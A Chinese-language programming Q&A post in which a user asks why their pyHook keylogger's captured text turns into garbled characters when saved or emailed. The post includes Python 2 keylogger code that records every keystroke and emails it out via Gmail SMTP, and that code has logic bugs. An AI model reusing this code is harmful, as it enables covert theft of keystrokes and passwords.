在python中发送文本时将文本转换为中文

2024-09-29 21:50:36 发布

您现在位置:Python中文网/ 问答频道 /正文

我在玩pyHook库,我决定看看是否可以做一个键记录器。在

问题是,当我试图将文本保存到一个文件中或通过电子邮件发送给自己时,有一半的时间会转换成这样的内容

我⁡洠獥?杺杺浹獥汦⁡渠敭慩氠癩愠步

当我打印文本时,它看起来很好。但我在将文本保存到文本文件中以及通过电子邮件发送给自己时都遇到过这种情况。在

import pyHook
import pythoncom
from re import sub
#Module for emailing out captured text
from Emailer import MakeEmail
#Global variable that will hold the captured text in-between emails 
captured = ''

SMTP_server = 'smtp.gmail.com'

username = 'MyAltAccount@gmail.com'

passwd = 'password'

destination = "myAccount@gmail.com"

email = MakeEmail(SMTP_server, destination, username, passwd, "Key Logger output", "")

def onKeyboardEvent(event):
    global captured
    if event.Ascii == 5 or not isinstance(event.Ascii, int):
        _exit(1)
    if event.Ascii != 0 or 8:
        captured += unichr(event.Ascii)
        if len(captured) > 30:
            print captured
            email.content = sub("\ \ *", " ", captured)
            email.send_email()
            captured= ''

hm = pyHook.HookManager()

hm.KeyDown = onKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

我弄不清这只虫子的头尾。在


Tags: textfrom文本importcomeventifemail

热门问题